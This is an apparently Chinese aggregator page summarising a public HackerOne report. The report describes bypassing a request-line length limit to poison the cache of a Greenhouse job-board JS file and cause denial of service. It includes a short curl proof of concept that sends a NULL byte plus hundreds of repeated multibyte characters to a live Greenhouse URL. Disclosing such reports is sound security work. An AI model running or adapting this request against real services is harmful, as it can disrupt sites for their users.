Bypass of request line length limit to DoS via cache poisoning
该报告还没有中文解读。
原文摘录
摘自原文（13833 字符中的一小部分）
This is a bypass of the fix that was introduced in response to report #334709. The bug in question was that it was possible to poison the cache of the generated JS file at https://boards.greenhouse.io/embed/job_board/js?for=surveymonkey, by appending a URL-encoded NULL byte (`%00`), followed by an …
原文中的代码
#!/bin/sh REPEAT=992 ID=623145 curl --http1.1 -s "https://boards.greenhouse.io/embed/job_board/js?for=a%00`python -c 'print(\"♥\" * '$REPEAT')'`$ID" -v
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Greenhouse.io 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @irvinlim · 版权归作者与 Greenhouse.io 所有